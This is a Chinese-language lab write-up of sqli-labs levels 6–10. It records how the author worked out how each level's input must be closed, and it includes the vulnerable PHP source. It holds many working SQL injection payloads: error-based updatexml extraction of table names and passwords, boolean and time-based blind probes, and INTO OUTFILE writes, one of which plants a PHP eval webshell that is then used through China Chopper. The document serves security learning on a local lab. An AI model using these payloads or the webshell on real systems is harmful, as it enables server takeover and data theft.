sqllab-Less6-10
less6
1. 先不看源码(依靠前面几关的经验盲猜)
? id=1‘
,没出现语法报错,说明‘
不起作用,可能不是这个闭合方式
id=1"
出现语法错误,说明"
起作用,闭合方式应该是这个
id=1" --+
,正常闭合,确定"
是闭合方式
?id=1" or 1=1 --+
, 可以正常执行,并且看到的结果都是这个,说明这关可能和前面一关一样是正确得不到信息,应该还是报错注入方式,和less5一样的。
?id=1" and updatexml(1, concat(1, database()),1) --+
,基于updatexml的报错注入在less5那里有了详细说明,这里不再重复。可以看到这个是可以正常获取到信息的
2. 查询拿到相应的信息(基于报错一次获取的信息有限,只能慢慢来)
表名
?id=1" and updatexml(1, concat(1, (select group_concat(distinct table_name) from information_schema.columns where table_schema=database())),1) --+
, 这个注入怎么写已经在less1-5中做了详细说明,不再重复。注意的是concat第二个参数写sql语句记得加()
括起来
举个栗子,查看users表的字段名
对于直接写可能会存在括号看花的情况,可以选择先把查询语句单独写出来再粘贴到指定位置
?id=1" and updatexml(1, concat(1, (select group_concat(column_name) from information_schema.columns where table_name=‘users‘ and table_schema=database())), 1) --+
拿user表的用户名
?id=1" and updatexml(1, concat(1, (select group_concat(username) from users limit 0,5)),1) --+
, 写起来没难度这个,和less5中一样
举个例子,这里查Dumb
用户的密码
?id=1" and updatexml(1, concat(1, (select password from users where username=‘Dumb‘)),1) --+
less6注入到这就完成了,再回过头看看源码:
if(isset($_GET[‘id‘]))
{
$id=$_GET[‘id‘];
//logging the connection parameters to a file for analysis.
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘ID:‘.$id."\n");
fclose($fp);
// connectivity
$id = ‘"‘.$id.‘"‘;
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo ‘<font size="5" color="#FFFF00">‘;
echo ‘You are in...........‘;
echo "<br>";
echo "</font>";
}
else
{
echo ‘<font size="3" color= "#FFFF00">‘;
print_r(mysql_error());
echo "</br></font>";
echo ‘<font color= "#0000ff" font size= 3>‘;
}
}
...
可以看到,这里的sql查询方式和前面某一关是一样的: 获取$id
后再加个双引号,闭合方式也就是加个双引号,然后通过报错拿信息。
Less7
1. 盲猜测试
? ?id=1‘
, 这个也是报了个错误,但是似乎和前面见到的有所不同
?id=1‘ --+
, 依然报错
?id=1" --+
,似乎过了,但好像没有什么信息,难道又是报错注入
?id=1" and updatexml(1, concat(1, database()),1)--+
, 看结果报错注入也得不到信息
2. 没辙了,看源码
if(isset($_GET[‘id‘]))
{
$id=$_GET[‘id‘];
//logging the connection parameters to a file for analysis.
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘ID:‘.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=((‘$id‘)) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo ‘<font color= "#FFFF00">‘;
echo ‘You are in.... Use outfile......‘;
echo "<br>";
echo "</font>";
}
else
{
echo ‘<font color= "#FFFF00">‘;
echo ‘You have an error in your SQL syntax‘;
//print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
看的蒙了,这代码好像都是写死的,咱也不能耍无赖去改源码啊,还是百度吧。
3.补充知识点:数据库数据导出
mysql数据导出
select * from user into outfile "a.txt"
,也就是一个mysql导出数据的语法,这是相对路径,很容易看出这个是相对于当前库的
select * from users into outfile "C:/a.txt"
这个数据导出好像是需要配置权限的,但是我这个wamp集成环境中mysql5.6在配置中并没有找到secure_file_priv选项,可能是默认就有了。
在试试另一种数据导出写法(直接写入文本)
select ‘test‘ into outfile "C:/test.php"
4. 回到正题,通过导出文件注入(获取webshell,菜刀篇),此部分截图中一句话木马少了个分号
?id=-1‘)) union select ‘<?php @eval($_POST["cmd"]); ?>‘, ‘//2‘, 3 into outfile "C:/wamp/www/sqllab/shell.php" --+
结果:
第一个图有点奇怪,我使用的是联合查询,虽然前半部分没有结果,但后半部分是有的啊,不是有个select直接写入一些数据了吗?这是因为第二个查询是不会返回结果的
通过这个图可以看到,查询是直接写入到文件中的,这可能就类似编程语言中直接向文件输入流中写入,而不再对数据保存并返回。因此虽然无结果,但后面那部分的查询是执行了的。
但是这还有个问题,把前面改成?id=1
后边不变,也是没有结果返回,但有同样是执行了。这里我也还存在疑惑。。。
现在看看shell.php文件中是什么,前半部分是一句话木马,就是利用php函数发送的一个请求(具体细节日后在写,自行百度),现在只需要知道这个有了文件,就可以通过中国菜刀直接获取webshell(web应用的控制权限)
访问一下这个php文件:
可以正常访问到,接下来就是通过菜刀获取webshell(次不傻瓜式操作),我这的菜刀是2016版的,对于这个菜刀的原理这里不说(因为我也还没弄清楚( ̄^ ̄゜)),右键点击添加。
补个下载链接https://github.com/raddyfiy/caidao-official-version
然后就是点击那个新添加的链接,如果那个一句话木马在浏览器能正常访问并且没有写错的话,就会看到下面这:
这个就是服务器的内容了,并且可以进行读写操作。这个工具的其他功能自己耍耍就会,毕竟不是原理性的东西。
再介绍一下使用菜刀获取数据库的。
首先,只通过一句话木马是可以拿到网站的文件系统的,但是并没有拿到数据库,网站和数据库也不是一回事。但是我们可以通过文件系统找到数据库的配置信息,至于配置文件怎么找,这个靠猜和一定经验。
通过这个图已经能看到数据库账号密码和host了,然后就可以在添加连接时再添加一些参数就能对数据库进行管理了。
添加之后右键进行数据库管理就能看到数据库了,并且可以执行sql语句
总体来说到这,这一部分就结束了,但是还存在一个问题,刚开始又是怎么知道网站在哪个目录下呢?这是自己搭建的靶机自然知道网站目录,但是不是自己的靶机怎么办。
这个问题涉及的是扫描方面,以后再详细说明。这里就先假设知道了目标主机的网站结构。(先水水|??ω?` ))
5. 不获取webshell进行查询(同样假设知道网站路径)
以查询表名和列名为例
?id=-1‘)) union select table_name, column_name,1 from information_schema.columns where table_schema=database() into outfile "C:/wamp/www/sqllab/info.html" --+
结果:
其他的也一样,less7就到这了
Less8
1. 盲猜注入点
?id=1‘
?id=1‘)
?id=1‘))
?id=1"
?id=1")
?id=1"))
几种方式都没有语法报错
?id=1‘ and sleep(5) --+
这种延时函数有效果,可以看到页面停顿了几秒才加载。说明这个sleep()
是执行了的,也就是说‘
很有可能是注入点。
?id=1‘ order by 4 --+
,前面的1,2,3都是有页面内容的,第四次就和上边这个图一样了,初步猜测可能查询不到结果页面不显示信息。
?id=1‘ and updatexml(1,concat(1, database()), 1) --+
,基于updatexml的报错注入也没有结果
?id=1‘ union select ‘1‘, ‘2‘, ‘3‘ into outfile "C:/wamp/www/sqllab/1.html" --+
,数据导出的方式似乎还是有用的。
?id=-1‘ union select table_name, column_name,1 from information_schema.columns where table_schema=database() into outfile "C:/wamp/www/sqllab/2.html" --+
这样这一关的注入方法使用数据导出的方式还是能用的
2. 查看源码
经过上边一顿猜测,已经知道了数据导出的方式在第8关成功注入。
源码分析:
// take the variables
if(isset($_GET[‘id‘]))
{
$id=$_GET[‘id‘];
//logging the connection parameters to a file for analysis.
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘ID:‘.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo ‘<font size="5" color="#FFFF00">‘;
echo ‘You are in...........‘;
echo "<br>";
echo "</font>";
}
else
{
echo ‘<font size="5" color="#FFFF00">‘;
//echo ‘You are in...........‘;
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo ‘<font color= "#0000ff" font size= 3>‘;
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
查看之后可以发现,和上边的猜测是一致的,注入点为‘
,查不到结果无信息显示,所以可以通过数据导出的方式注入。
less8补充:基于布尔的盲注判断注入点
?id=1‘
?id=1‘ and 1=1 --+ // 下面第二张图的结果
?id=1‘ and 1=2 --+ // 下面第一张图的结果,两者附加的条件分别为true,false,并且结果不同,所以初步判断‘注入可以执行后边的代码,判断‘为注入点
?id=1"
?id=1" and 1=1 --+
?id=1" and 1=1 --+
?id=1" or 1=1 --+ //这几个均是下面这个结果,排除"为注入点的可能
Less 9
1. 盲猜注入点并完成查询
?id=1‘
?id=1‘)
?id=1‘))
?id=1‘ or 1=1 //这几种均不报错
?id=1‘ and sleep(5) --+ //这个方式延时加载,猜测‘为注入点
?id=1" and sleep(5) --+ // 无延时,排除"注入点的可能
?id=1‘ union select 1,2,database() --+
这些都是这个结果:
从上面大致确定了注入点,但是几种正常方式都是同样的结果
?id=1‘ and updatexml(1, concat(1, database()), 1) --+ // 结果同上
?id=1‘ union select ‘1‘, ‘2‘, ‘3‘ into outfile "C:/wamp/www/sqllab/4.html" --+
可以看到数据导出注入正常
?id=1‘ union select table_name, column_name,1 from information_schema.columns where table_schema=database() into outfile "C:/wamp/www/sqllab/9_1.html" --+
连续几关都是同样的注入方式了,看看关卡说明
第八关是基于布尔的盲注,第九关是基于时间的盲注,而实际上在第8关的时候我的判断就已经是通过sleep()来判断了,并且也能判断出注入点。那再回过头补充一下基于布尔的盲注(已写到less8位置)
2. 源码分析:
// take the variables
if(isset($_GET[‘id‘]))
{
$id=$_GET[‘id‘];
//logging the connection parameters to a file for analysis.
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘ID:‘.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo ‘<font size="5" color="#FFFF00">‘;
echo ‘You are in...........‘;
echo "<br>";
echo "</font>";
}
else
{
echo ‘<font size="5" color="#FFFF00">‘;
echo ‘You are in...........‘;
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo ‘<font color= "#0000ff" font size= 3>‘;
}
}
这里容易看出,无论查不查得到结果页面显示的内容都是一样的,所以通过延时注入就能判断出注入点
Less10
1. 盲猜注入点
布尔盲注
?id=1‘
?id=1‘ and 1=1 --+
?id=1‘ and 1=2 --+
?id=1‘ or 1=1 --+ // 结果均为下图
?id=1"
?id=1" and 1=1 --+
?id=1" and 1=1 --+
?id=1" or 1=1 --+ // 这几种同上
时间盲注
?id=1‘ and sleep(5) --+ // 无效果,结果图同上
?id=1" and sleep(5) --+ //延时效果,猜测"为注入点
2. 知道注入点后开始,查询
?id=1" union select 1,2,database() --+ //无结果,效果同上
?id=1" and updatexml(1, concat(1, database()), 1) --+ // 无结果,效果同上
?id=1" union select ‘1‘, ‘2‘, ‘3‘ into outfile "C:/wamp/www/sqllab/less10_info.html" --+ // 可以写入
?id=1" union select table_name, column_name,1 from information_schema.columns where table_schema=database() into outfile "C:/wamp/www/sqllab/less10_info2.html" --+
到这这一关就完成了
3. 源码分析
if(isset($_GET[‘id‘]))
{
$id=$_GET[‘id‘];
//logging the connection parameters to a file for analysis.
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘ID:‘.$id."\n");
fclose($fp);
// connectivity
$id = ‘"‘.$id.‘"‘;
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo ‘<font size="5" color="#FFFF00">‘;
echo ‘You are in...........‘;
echo "<br>";
echo "</font>";
}
else
{
echo ‘<font size="5" color="#FFFF00">‘;
echo ‘You are in...........‘;
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo ‘<font color= "#0000ff" font size= 3>‘;
}
}
可以看出,这个源码和前一关的基本一致,只是注入点换成了"
less6-10, 写完。
第一次做这个sqllab,这些也都是按照自己的思路想到什么就写什么,格式上还是比较凌乱的,下一次尽量统一每一关的解答格式吧。